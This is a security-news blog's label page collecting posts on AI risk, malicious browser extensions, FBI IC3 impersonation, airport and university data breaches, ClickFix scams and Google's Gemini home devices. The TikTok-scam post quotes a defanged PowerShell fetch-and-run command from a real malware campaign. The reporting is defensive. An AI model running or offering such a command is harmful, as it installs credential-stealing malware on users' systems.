Search This Blog
Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Load More
Trendy Right Now

Popular Posts

Showing posts with label User Security. Show all posts
User Security
Advanced AI threats Artificial Intelligence Safety Risks Technology User Security

AI Expert Warns World Is Running Out of Time to Tackle High-Risk AI Revolution

 

AI safety specialist David Dalrymple has warned in no unclear terms that humanity may be running out of time to get ready for the dangers of fast-moving artificial intelligence. When talking to The Guardian, the director of programme at the UK government’s Advanced Research and Invention Agency (ARIA) emphasised that AI development is progressing “really fast,” and that no society can safely take these systems being reliable for granted. He is the latest authoritative figure to add to the escalating global anxiety that deployment is outstripping safety research and governance models. 

Dalrymple contended that the existential risk is from AI systems that can do virtually all economically valuable human work but more quickly, at lower cost and at a higher quality. In his mind, these intellectual systems might “outcompete” humans in the very domains that constitute our control over civilization, society and perhaps even planetary-scale decisions. And not just about losing jobs, but about losing strategic dominance in vital sectors, from security to infrastructure management.

He described a scenario in which AI capabilities race ahead of safety mechanisms, triggering destabilisation across both the security landscape and the broader economy. Dalrymple emphasised an urgent need for more technical research into understanding and controlling the behaviour of advanced AI, particularly as systems become more autonomous and integrated into vital services. Without this work, he suggested, governments and institutions risk deploying tools whose failure modes and emergent properties they barely understand. 

 Dalrymple, who among other things consults with ARIA on creating protections for AI systems used in critical infrastructure like energy grids, warned that it is “very dangerous” for policymakers to believe advanced AI will just work as they want it to. He noted that the science needed to fully guarantee reliability is unlikely to emerge in time, given the intense economic incentives driving rapid deployment. As a result, he argued the “next best” strategy is aggressively focusing on controlling and mitigating the downsides, even if perfect assurance is out of reach. 

The AI expert also said that by late 2026, AI systems may be able to do a full day of R&D, including self-improvement in such AI-related fields as mathematics and computer science. Such an innovation would give a further jolt to AI capabilities, and bring society more deeply into what he described as a “high-risk” transition that civilization is mostly “sleepwalking” into. And while he conceded that unsettling developments can ultimately yield benefits, he said the road we appear to be on is one that holds a lot of peril for if safety continues to lag behind capability.
Read more »
User Security
Browser Extension GhostPoster LayerX malware User Security

GhostPoster Malware Campaign Exposes Browser Extension Risks

 

A stealthy malware operation has been discovered by cybersecurity researchers, which remained undetected for a period of up to five years and accumulated more than 840,000 downloads on various platforms. The research began with a study by Koi Security of a Firefox browser extension called GhostPoster, which embedded its malicious code in a seemingly innocuous PNG image file. Such a trick allowed the malware to evade static analysis and manual reviews by browser markets. 

Based on the findings of Koi Security, the LayerX researchers decided to dig deeper into the infrastructure and discovered 17 more extensions that used the same backend infrastructure and had the same tactics, techniques, and procedures (TTPs). In total, these extensions had more than 840,000 downloads, with some of them remaining undetected on the users' devices for almost five years. LayerX researchers also discovered a more complex variant of the malware that used other evasion techniques and had 3,822 downloads on its own. 

The operation emanates from Microsoft Edge and then methodically moves to chrome and Firefox, which looks like the work of a patient, evolving threat actor that is focused on stealth and trust-building. The extensions used to mimic legitimate functionality at first, avoiding suspicion, while the infrastructure was in place after many years. This stress test mentality highlights how cybercriminals abuse browser extensions as a low-friction vector to compromise user security without raising alarms in the short term. 

Following the revelations, Mozilla and Microsoft immediately removed the offending extensions from their official stores, preventing further downloads. However, this removal does nothing to those copies already installed on users browsers, meaning millions might be left vulnerable to potential attacks unless they take action. LayerX’s blog stressed that users need to take an active role in mitigating ongoing risk by reviewing for and deleting the extensions. 

Browser extensions have become a lucrative target for cybercriminals as hackers exploit the deep access these extensions have to browsing data and permissions, raising the stakes for vigilance in the evolving threat landscape. Users are advised to regularly review the installed add-ons' permissions, disable the ones they don't use or need, and remove the ones they don't trust. This is a warning that even extensions or add-ons that have been trusted for a long time can potentially contain malicious code, and it effectively calls for those using any major browser to adopt a more proactive approach to security.
Read more »
User Security
Cyber Fraud FBI IC3 Impersonation phishing User Security

FBI Warns of Cybercriminals Impersonating IC3 to Steal Personal Data

 

The FBI has issued a public service announcement warning that cybercriminals are impersonating the FBI’s Internet Crime Complaint Center (IC3) and even cloning its website to steal victims’ personal and financial data.Attackers are exploiting public trust in federal law enforcement by creating fake IC3-branded domains and lookalike reporting portals, then driving victims to these sites via phishing emails, messages, and search engine manipulation so people think they are filing a legitimate cybercrime report. 

The alert—referenced as PSA I-091925—describes threat actors spoofing the official IC3 website and related communications, with the goal of harvesting names, home addresses, phone numbers, email addresses, and banking details under the pretext of gathering evidence for an investigation or helping recover lost funds.The FBI stresses that visiting these fake sites or responding to unsolicited “IC3” outreach could lead not only to identity theft and financial fraud but also to further compromise through follow‑on scams using the stolen data.

Security experts situates this campaign within a broader surge in impersonation attacks, noting that law enforcement, government agencies, and major brands have all been targets of cloned sites and spoofed communications, often enhanced by AI to appear more convincing. It highlights that scammers may blend IC3 impersonation with other fraud patterns, such as bogus refund or recovery services, “phantom hacker” style tech‑support narratives, or messages claiming to fix account compromises, all framed as official FBI assistance. 

The FBI has issued guidelines to safeguard Americans from phishing campaign. The real IC3 does not charge fees, will never ask for payment or direct victims to third‑party companies to recover funds, and does not operate any official presence on social media. Genuine IC3 reporting should be done only through the official ic3.gov domain, accessed by typing the URL directly into the browser or using trusted bookmarks, rather than clicking on links in unsolicited messages or search ads. 

Additionally, to mitigate risk the FBI recommends treating any unexpected communication claiming to be from the FBI or IC3 with skepticism, independently verify contact details through official channels, and avoid sharing sensitive information or making payments based on pressure tactics. It closes by urging individuals and organizations to train staff on recognizing impersonation scams, double‑check domains and email addresses, and promptly report suspected fake FBI or IC3 activity using confirmed, legitimate FBI contact points.
Read more »
User Security
aviation DAA Data Breach Dublin Airport Ireland User Security

Dublin Airport Data Breach Exposes 3.8 Million Passengers

 

Dublin Airport has confirmed a significant data breach affecting potentially 3.8 million passengers who traveled through the Irish facility during August 2025, following a cyberattack on aviation technology supplier Collins Aerospace. The breach compromised boarding pass data for all flights departing Dublin Airport from August 1-31, 2025, a period during which the airport processed over 3.7 million passengers across more than 110,000 daily passenger movements.

The Dublin Airport Authority (DAA), which operates both Dublin and Cork airports, first learned of the compromise on September 18, 2025, when Collins Aerospace notified them of a breach affecting its IT systems. By September 19, intelligence gathered by airport authorities confirmed that boarding pass information had been published online by a cybercriminal group. Cork Airport officials clarified that none of the compromised data relates to flights through their facility.

The exposed data includes passenger booking references, first and last names, frequent flyer numbers, contact information such as email addresses and phone numbers, and travel itineraries. Airlines including Swedish carrier SAS have sent notifications to affected passengers warning that other booking-related details may have been accessed. However, the breach did not involve passport information, payment card details, or other financial data.

The incident is directly linked to the devastating Collins Aerospace ransomware attack that crippled multiple European airports in September 2025. Collins Aerospace's MUSE (Multi-User System Environment) software, which powers check-in and boarding operations at approximately 170 airports globally, fell victim to HardBit ransomware on the night of September 19, 2025. Dublin Airport was particularly hard hit, with officials confirming they had to rebuild servers "from scratch" with no clear timeline for resolution.

Additionally, the Russia-linked Everest ransomware gang has claimed responsibility for a separate attack on Dublin Airport, threatening to leak data of over 1.5 million records on the dark web unless the airport pays a ransom. This claim includes device information, workstation IDs, timestamps, departure dates and times, and barcode formats.

The DAA immediately reported the breach to multiple authorities on September 19, 2025, including the Data Protection Commission (DPC), Irish Aviation Authority, and National Cyber Security Centre. Graham Doyle, Deputy Commissioner at the Data Protection Commission, confirmed the agency is conducting a full investigation into the breach's scope and impact.

Security experts warn that the compromised information provides sufficient detail for sophisticated phishing campaigns, social engineering attacks, frequent flyer account takeover attempts, and identity theft operations targeting affected passengers.
Read more »
Western Sydney University
Cyber Attacks Data Leak Private Data User Security Western Sydney University

Western Sydney University Hit by Major Cyberattack

 

Western Sydney University has suffered a significant cyberattack, marking the latest in a series of incidents targeting the institution since 2023. Sensitive data belonging to students, staff, and alumni—including tax file numbers, bank account details, passport and driver license information, visa and health data, contact information, and even ethnicities—was compromised when threat actors gained access to the university’s Student Management System hosted on a cloud-based platform by a third-party provider. 


The breach was discovered after two instances of unusual activity on August 6 and August 11, 2025. Investigations revealed that unauthorised access occurred through a chain involving external systems linked to the university’s infrastructure between June 19 and September 3, 2025. The attackers subsequently used this stolen data to send out fraudulent emails to students and graduates on October 6, 2025. 

These emails falsely claimed recipients had been excluded from the university or had their degrees revoked, causing widespread concern. Some scam emails appeared especially credible as they included legitimate student numbers and exploited ongoing web vulnerabilities.

The university responded by immediately initiating investigations, directing its third-party supplier to shut down access, and cooperating closely with the NSW Police Cybercrime Squad’s Strike Force Docker. Notably, in June 2025, police arrested a former student, Birdie Kingston, alleged to have played a role in earlier hacks, although officials stopped short of directly connecting this individual to the latest attack.

In recent statements, Vice-Chancellor Professor George Williams apologised for the disruption and emphasised the institution’s ongoing efforts to rectify the issue and bolster cybersecurity. The attack forms part of a troubling pattern of breaches, including incidents involving Microsoft Office 365 and other IT environments exposed since 2023. Data from previous attacks has surfaced on both the dark web and clear web, affecting thousands of current and former students.

WSU has advised affected community members to change passwords, enable multi-factor authentication, and avoid using the same password across multiple online accounts. Victims are encouraged to follow university guidance and make use of support services available. The institution continues to work with law enforcement and remains on high alert for further attacks.
Read more »
User Security
malware Photoshop Scam Social Engineering TikTok User Security

TikTok 'Free Photoshop' Scam Steals User Data via Malicious Commands

 

A sophisticated scam targeting TikTok users is exploiting the platform's reach to steal personal data by promising free access to expensive software like Adobe Photoshop. Cybercriminals are using a social engineering technique called ClickFix to trick victims into executing malicious commands that install information-stealing malware on their systems.

The scam operates through TikTok videos that demonstrate seemingly simple technical tricks to activate premium software, including Adobe Photoshop, Microsoft Windows, Discord Nitro, and other popular applications. These videos instruct users to run specific PowerShell commands on their Windows devices, with instructions that appear to be legitimate software activation methods. One example command involves executing iex (irm slmgr[.]win/photoshop), which fetches and runs malicious code from remote servers.

ClickFix attacks differ significantly from traditional phishing campaigns by guiding users through the process of infecting their own devices rather than simply tricking them into clicking malicious links. This social engineering approach exploits users' familiarity with solving minor technical issues, CAPTCHA checks, and human verification processes, making the scam appear more legitimate. Microsoft research indicates that since 2024, ClickFix has been used in nearly half of all recorded cyberattacks, surpassing phishing in popularity among cybercriminals.

When users execute the provided commands, they unknowingly download and install AuroStealer, a Trojan malware specifically designed to harvest sensitive information. This infostealer collects passwords, browser credentials, authentication cookies, cryptocurrency wallet data, and other application credentials from infected systems. The malware establishes persistence through scheduled tasks and uses self-compiling techniques to inject shellcode directly into memory, evading detection by security tools.

TikTok's short-form content delivery system and reputation for hosting legitimate technical how-to content makes it an ideal platform for this type of scam. The platform's viral nature enables these malicious videos to accumulate hundreds of likes and reach thousands of viewers before detection, with cybersecurity researcher Xavier Mertens identifying the ongoing campaign. The campaigns have been active since at least May 2025, with marked increases in activity observed through October 2025.

Security experts strongly advise users never to run commands on their machines from TikTok or other social media networks. Because these commands are executed locally on user systems, many security tools and browsers cannot easily detect them, making prevention through user education critical. Organizations should implement PowerShell execution restrictions, monitor scheduled tasks, and block known malicious domains to protect against these threats.
Read more »
User Security
ClickFix Cyber Fraud phishing Social Engineering User Security

ClickFix Attack Tricks Users into Infecting Their Own Devices

 

Cybercriminals are increasingly using a social engineering attack called ClickFix, which manipulates victims into unknowingly initiating cyberattacks on their own systems. According to Microsoft’s 2025 Digital Defense Report, ClickFix has become the most common initial access technique, recorded in 47% of attacks tracked by Microsoft Defender Experts over the past year. This rise is largely attributed to attackers’ growing ability to bypass traditional anti-phishing protections and successfully exploit human behavior.

What is ClickFix?

ClickFix is a deceptive tactic that capitalizes on users' desire to solve perceived simple technical problems. It typically starts with a phishing email or fraudulent website designed to look like a legitimate service—one notable example was seen in spoofed Booking.com emails during the 2024 holiday season. 

The victim is prompted through a fake notification to resolve an issue, often by copying and pasting a code snippet or clicking through a sequence mimicking technical support instructions. Unbeknownst to the user, these instructions result in executing malicious PowerShell or mshta.exe commands, which launch malware directly into system memory—bypassing the need for a downloaded file and evading common antivirus solutions.

Changing threat landscape

ClickFix is especially concerning because it reflects a broader shift in cybercriminal tactics: exploiting human psychology over technical vulnerabilities. Security vendors highlight that this trend is amplified by the use of artificial intelligence, which enables attackers to craft highly convincing phishing lures and even simulate full conversation threads for business email compromise schemes. 

The payloads delivered through ClickFix attacks are diverse and dangerous, including ransomware, information stealers, remote access trojans (RATs), and worms such as Xorm, Danabot, and NetSupport RAT. Reports from security vendors indicate a 500% surge in ClickFix incidents in the first half of 2025, making up an estimated 8% of all attacks during that period.

Defense strategies and user awareness

Traditional defenses based on blocking suspicious attachments, network traffic, or sender domains cannot reliably stop ClickFix. Instead, organizations and individuals must focus on behavioral change: never follow unsolicited technical instructions without independent verification, and always treat requests for manual intervention—like pasting unfamiliar code—with skepticism.

Security awareness training and updated incident response plans are crucial for combating this new wave of attacks. As threat actors continue to refine their methods, education and skepticism remain the frontline defenses against self-induced cyber threats.
Read more »
User Security
Gemini AI Google Home Nest Devices Technology User Security

Google Launches Gemini AI Across Home and Nest Devices

 

Google has unveiled its new Gemini-powered smart home lineup and AI strategy, positioning its AI assistant Gemini at the core of refreshed Google Home and Nest devices. This reimagined approach follows Amazon's recent Echo launch, highlighting an intensifying competition in the AI-driven home sector. 

Google’s aim is to extend Gemini’s capabilities beyond just its own hardware, making it available to other device manufacturers, reminiscent of how Android’s open platform fostered an expansive device ecosystem. The company plans to keep innovating with flagship hardware, particularly where Gemini’s potential can shine, while encouraging third-party OEMs and partners to integrate Gemini regardless of price point or form factor.

The new Nest lineup features products like the Nest Cam Outdoor, Nest Cam Indoor, and Nest Doorbell—all updated to leverage Gemini’s intelligence. Additionally, Google teased its next-generation Google Home speaker for spring 2026 and revealed a partnership with Walmart to launch affordable indoor cameras and doorbells under the “onn” brand. 

Notably, Google is prioritizing current device owners by rolling out Gemini features to devices with adequate processing power, using cloud APIs and the Matter smart home standard for broad compatibility. This ensures Gemini’s reach to over 800 million devices—including both Google and third-party products—while the company refines experiences before releasing new hardware.

Gemini enhances user interaction by enabling more conversational, contextually aware commands. Users can reference vague details—like a movie or song—and Gemini will intuit the correct response, such as playing music, explaining lyrics, or suggesting content. It can handle more complex household management tasks like creating shopping lists based on recipes, setting nuanced timers, and chaining multiple requests. 

Device naming is now simplified, and Gemini can manage routines, automate energy usage monitoring, and suggest home security setups via the new “Ask Home” feature. These improvements are facilitated by Google’s upgraded Home app, now more stable and powered by Gemini.

The app uses AI to summarize camera activity, describe detected events, and guide users with direct answers and recommendations, streamlining daily home routines. Gemini Live introduces continuous conversational interaction without the need to repeat “Hey Google,” promising a more natural AI experience. 

Google’s toolkit, reference hardware, and SDK support further empower partners and developers, reinforcing its market-wide AI ambitions. The Nest and Walmart devices are available now, while the new Home speaker is due spring 2026.
Read more »
Subscribe to: Comments (Atom)